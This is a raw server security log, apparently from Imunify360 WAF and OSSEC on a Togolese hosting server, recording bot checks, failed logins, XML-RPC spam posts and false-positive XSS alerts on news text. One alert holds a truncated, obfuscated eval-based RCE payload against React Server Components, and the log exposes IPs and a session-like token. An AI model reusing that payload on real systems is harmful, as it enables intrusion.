IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">les questions d\xe2\x80\x99int\xc3\xa9gration et d\xe2\x80\x99\xc3\xa9changes commerciaux occupent une place importante cette semaine dans les discussions r\xc3\xa9gionales. le togo participe activement aux forums multilat\xc3\xa9raux.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les op\xc3\xa9rateurs \xc3\xa9conomiques soulignent les opportunit\xc3\xa9s li\xc3\xa9es \xc3\xa0 la fluidification des \xc3\xa9changes avec les voisins. des projets d\xe2\x80\x99infrastructures transfrontali\xc3\xa8res sont \xc3\xa0 l\xe2\x80\x99\xc3\xa9tude.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">cette dynamique s\xe2\x80\x99inscrit dans un contexte de croissance projet\xc3\xa9e \xc3\xa0 6,5 % pour l\xe2\x80\x99\xc3\xa9conomie togolaise en 2026. les autorit\xc3\xa9s veulent capitaliser sur cette tendance positive.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les experts appellent \xc3\xa0 une coordination accrue pour maximiser les retomb\xc3\xa9es sur les populations locales.</span>||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.99.119
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f3761b251d416f7a313522032c33462f0cf79d67||Title:d0wagungbzyc0y||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:39:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803367&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781527167 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:12:39:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6516120&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781527172 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.99.119
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d892acc766548feafc15992c4a00032b0dbc28e||Title:m1kxe1hrz8fdav||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.66.207.36
country_id: 3932488
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/bidc-des-investissements-strategiques-pour-une-croissance-resiliente/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.151
country_id: 1880251
description:
47.128.96.151 - - [15/Jun/2026:12:41:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13013700&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781527268 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F3%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.151


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.66.207.36
country_id: 3932488
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/bidc-des-investissements-strategiques-pour-une-croissance-resiliente/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.223.152.24
country_id: 6252001
description:
185.223.152.24 - - [15/Jun/2026:12:44:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181462&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DdGlhcmEuZGVsbGFAYmlvZmFybWEuY28uaWQ%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781527454 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=dGlhcmEuZGVsbGFAYmlvZmFybWEuY28uaWQ=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.223.152.24


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.shekina.tensai.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"_5112eb56\":\"04d2b69433e753cc\",\"__996f274a\":\"resolved\",\"_response\":{\"_prefix\":\"var er=arguments['\\\\x31'];var vdaxs=er;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"u\\\",\\\"f\\\",\\\"fer\\\


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:46:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:46:17 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.2
country_id: 732800
description:
Jun 15 12:47:00 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.2 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.241.195.162
country_id: 1668284
description:
[2026-06-15 12:47:57 +0000] info [whostmgrd] 111.241.195.162 - test1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.53.201
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:162.252.53.201||TA:162.252.53.201||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 66.44.56.58
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/126.0.6478.114 Safari/537.36||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.111.239
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5a3bed8c314016a7e5ba42a920890a72e8e549c9||Title:dddg7yp8qni7cp||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.18
country_id: 1880251
description:
47.128.96.18 - - [15/Jun/2026:12:53:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13144424&pdata=https%253A%252F%252Fcfpj.tg%252Fhistorique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781527989 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/historique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.18


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:12:53:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984088&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781528037 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.111.239
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:66d5e98800d76c61c0c75efe17e29b8e4c8139fc||Title:2ueur0i085aw186x4e||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:53:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9686175&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781528035 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 168.121.69.64
country_id: 3469034
description:
168.121.69.64 - - [15/Jun/2026:12:53:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195864&pdata=https%253A%252F%252Fcpanel.oliane.free.netmaster.tg%252F%253Flocale%253Dpt_br&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781528022 HTTP/2.0" 302 0 cpanel.oliane.free.netmaster.tg "https://cpanel.oliane.free.netmaster.tg/?locale=pt_br" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:168.121.69.64


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.111.239
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf1269cba2e9034c4051a5ea02c86e9081d1adf1||Title:kct32xvvuarjgs3d4l||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.111.239
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:26fd89066078ed548ba89bec1d5bdedf0cdbeea9||Title:pt4dtpm2x0x0zw451m||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.138
country_id: 1880251
description:
47.128.96.138 - - [15/Jun/2026:12:55:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13132909&pdata=https%253A%252F%252Fgatti.free.netmaster.tg%252Fcgi-sys%252Fdefaultwebpage.cgi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781528158 HTTP/2.0" 302 0 gatti.free.netmaster.tg "https://gatti.free.netmaster.tg/cgi-sys/defaultwebpage.cgi" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.138


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 77.95.113.232
country_id: 2635167
description:
[2026-06-15 12:57:06 +0000] info [cpaneld] 77.95.113.232 NEW zmmjcejv:mqIxS3tiK8Vr8lZo address=77.95.113.232,app=cpaneld,creator=zmmjcejv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.234.77
country_id: 6252001
description:
2026-06-15 12:56:57 dovecot_plain authenticator failed for H=(ts3t1n8b9j6cym87ur) [104.28.234.77]:54652: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.111.239
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:28675922da76371e27314876f672e5e8af1e8267||Title:7ujjvatei7lyvtye||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.111.239
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:310e5d95a5242e6629d69392988436afbfb4c3bf||Title:wyhs6dj77qt7sl||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.111.239
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b0465b6226b40b0b263fefb38a52dea47a73c3a0||Title:mdcchksfwrl7hc2d||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.199.179.38
country_id: 294640
description:
[2026-06-15 13:00:14 +0000] info [whostmgrd] 212.199.179.38 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.111.239
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7b52117a969f58d71076f69ebaeec5e2a310217b||Title:che79xvwb1oct5quec||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.214.40.152
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:37e3e844d44e8db49ad4cca476f43dc436b513f0||Title:imu71h0nsy3t3u4t||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.100.118.146
country_id: 2017370
description:
2026-06-15 13:01:17 H=([176.100.118.146]) [176.100.118.146]:60116 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:01:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:01:20 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.214.40.152
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b8804b5fb9195c52a553564030f34e50acdb8d94||Title:ytrwpt6o3isgvg4an||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.100.118.146
country_id: 2017370
description:
2026-06-15 13:02:06 H=([176.100.118.146]) [176.100.118.146]:60608 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>cette question \xc2\xab&nbsp;combien gagne un pr\xc3\xa9sident africain ?&nbsp;\xc2\xbb revient r\xc3\xa9guli\xc3\xa8rement dans les \xc3\xa9changes entre internautes sur les r\xc3\xa9seaux sociaux. entre les salaires officiels, les avantages en nature, les frais de repr\xc3\xa9sentation et les revenus parall\xc3\xa8les, la r\xc3\xa9alit\xc3\xa9 est souvent ind\xc3\xa9chiffrable, tellement elle est loin des chiffres officiels affich\xc3\xa9s dans les textes officiels. voici ce que l\xe2\x80\x99on sait, avec les donn\xc3\xa9es les plus r\xc3\xa9centes disponibles, pour les principaux chefs d\xe2\x80\x99\xc3\x89tat du continent.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>combien gagne un pr\xc3\xa9sident africain ? pourquoi tout est si difficile \xc3\xa0 comparer</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>avant d\xe2\x80\x99entrer dans les chiffres, une pr\xc3\xa9cision s\xe2\x80\x99impose. comparer les salaires des pr\xc3\xa9sidents africains est un exercice d\xc3\xa9licat pour plusieurs raisons. d\xe2\x80\x99abord, tous les pays ne publient pas ces informations de mani\xc3\xa8re transparente. ensuite, le salaire officiel ne repr\xc3\xa9sente qu\xe2\x80\x99une partie de la r\xc3\xa9mun\xc3\xa9ration r\xc3\xa9elle : les pr\xc3\xa9sidents b\xc3\xa9n\xc3\xa9ficient g\xc3\xa9n\xc3\xa9ralement de logements officiels entretenus par l\xe2\x80\x99\xc3\x89tat, de v\xc3\xa9hicules de fonction, de s\xc3\xa9curit\xc3\xa9 priv\xc3\xa9e, de frais de d\xc3\xa9placement, de frais de repr\xc3\xa9sentation et parfois de primes diverses dont les montants sont rarement rendus publics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ils disposent aussi de budgets de souverainet\xc3\xa9, plusieurs milliards de fcfa, qu\xe2\x80\x99ils utilisent comme bon leur semble, dit-on, dans l\xe2\x80\x99int\xc3\xa9r\xc3\xaat sup\xc3\xa9rieur du pays. enfin, la parit\xc3\xa9 de pouvoir d\xe2\x80\x99achat rend les comparaisons directes en dollars souvent trompeuses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31006,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_ferer-pour-batir-1.jpg\" alt=\"\" class=\"wp-image-31006\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>cela dit, des informations existent, gr\xc3\xa2ce aux budgets nationaux, aux d\xc3\xa9crets officiels et aux travaux de journalistes d\xe2\x80\x99investigation et d\xe2\x80\x99ong de gouvernance. voici un classement aussi pr\xc3\xa9cis que possible, fond\xc3\xa9 sur ces donn\xc3\xa9es.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>les salaires les plus \xc3\xa9lev\xc3\xa9s d\xe2\x80\x99afrique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>afrique du sud</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le pr\xc3\xa9sident sud-africain cyril ramaphosa figure r\xc3\xa9guli\xc3\xa8rement parmi les chefs d\xe2\x80\x99\xc3\x89tat africains les mieux r\xc3\xa9mun\xc3\xa9r\xc3\xa9s en termes de salaire officiel. son salaire annuel \xc3\xa9tait estim\xc3\xa9 autour de 2,9 millions de rands sud-africains, soit environ 155.000 dollars am\xc3\xa9ricains par an selon le taux de change de 2024-2025-2026. en termes de pouvoir d\xe2\x80\x99achat local, c\xe2\x80\x99est une r\xc3\xa9mun\xc3\xa9ration confortable, repr\xc3\xa9sentant environ 20 fois le salaire m\xc3\xa9dian dans le secteur formel sud-africain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>maroc</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le cas marocain est particulier car il s\xe2\x80\x99agit d\xe2\x80\x99une monarchie constitutionnelle. la liste civile du roi mohammed vi, c\xe2\x80\x99est-\xc3\xa0-dire le budget allou\xc3\xa9 par l\xe2\x80\x99\xc3\x89tat \xc3\xa0 la famille royale et au fonctionnement de la monarchie, repr\xc3\xa9sente des centaines de millions de dirhams par an. le salaire stricto sensu du souverain n\xe2\x80\x99est pas comparable aux \xc3\xa9moluments d\xe2\x80\x99un pr\xc3\xa9sident \xc3\xa9lu.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>le cas de la c\xc3\xb4te d\xe2\x80\x99ivoire : combien gagne alassane ouattara ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le salaire du pr\xc3\xa9sident ivoirien alassane ouattara est l\xe2\x80\x99un des plus comment\xc3\xa9s en afrique de l\xe2\x80\x99ouest. selon les informations qui ont circul\xc3\xa9 dans les m\xc3\xa9dias ivoiriens et les rapports sur la gouvernance publique, son salaire officiel mensuel serait de l\xe2\x80\x99ordre de 10 \xc3\xa0 15 millions de francs cfa, soit environ 15.000 \xc3\xa0 23.000 euros par mois. en base annuelle, cela repr\xc3\xa9sente entre 180.000 et 275.000 euros.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce chiffre place alassane ouattara parmi les pr\xc3\xa9sidents africains les mieux r\xc3\xa9mun\xc3\xa9r\xc3\xa9s officiellement sur le continent, dans le contexte d\xe2\x80\x99une c\xc3\xb4te d\xe2\x80\x99ivoire qui a connu une croissance \xc3\xa9conomique soutenue depuis 2012. le gouvernement ivoirien n\xe2\x80\x99a jamais publi\xc3\xa9 de chiffre officiel d\xc3\xa9finitif accessible au grand public, ce qui laisse place \xc3\xa0 des estimations qui varient selon les sources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 cela s\xe2\x80\x99ajoutent les avantages en nature consid\xc3\xa9rables : les r\xc3\xa9sidences de fonction, la flotte de v\xc3\xa9hicules officiels, les d\xc3\xa9placements pris en charge par l\xe2\x80\x99\xc3\x89tat, et un budget de repr\xc3\xa9sentation substantiel li\xc3\xa9 \xc3\xa0 la stature internationale que ouattara a acquise au fil des ann\xc3\xa9es.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31080,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-19-723x1024.png\" alt=\"\" class=\"wp-image-31080\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>combien gagne diomaye faye, pr\xc3\xa9sident du s\xc3\xa9n\xc3\xa9gal ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>bassirou diomaye faye, \xc3\xa9lu pr\xc3\xa9sident du s\xc3\xa9n\xc3\xa9gal en mars 2024 dans des circonstances in\xc3\xa9dites, est arriv\xc3\xa9 au pouvoir en promettant rupture et sobri\xc3\xa9t\xc3\xa9. son \xc3\xa9lection, alors qu\xe2\x80\x99il venait d\xe2\x80\x99\xc3\xaatre lib\xc3\xa9r\xc3\xa9 de prison dix jours auparavant, a repr\xc3\xa9sent\xc3\xa9 un bouleversement politique majeur au s\xc3\xa9n\xc3\xa9gal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>concernant son salaire, le cadre officiel au s\xc3\xa9n\xc3\xa9gal pr\xc3\xa9voit une indemnit\xc3\xa9 pr\xc3\xa9sidentielle qui \xc3\xa9tait \xc3\xa9valu\xc3\xa9e sous les pr\xc3\xa9sidences pr\xc3\xa9c\xc3\xa9dentes \xc3\xa0 environ 8 \xc3\xa0 12 millions de francs cfa par mois, soit entre 12.000 et 18.000 euros. diomaye faye a pris ses fonctions en annon\xc3\xa7ant vouloir r\xc3\xa9duire le train de vie de l\xe2\x80\x99\xc3\x89tat, mais les montants pr\xc3\xa9cis de sa r\xc3\xa9mun\xc3\xa9ration n\xe2\x80\x99ont pas \xc3\xa9t\xc3\xa9 communiqu\xc3\xa9s officiellement de mani\xc3\xa8re d\xc3\xa9taill\xc3\xa9e. son ancien premier ministre ousmane sonko et lui ont affich\xc3\xa9 une rh\xc3\xa9torique de sobri\xc3\xa9t\xc3\xa9 qui, si elle se traduisait dans les faits, aurait pu effectivement modifier les niveaux de r\xc3\xa9mun\xc3\xa9ration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 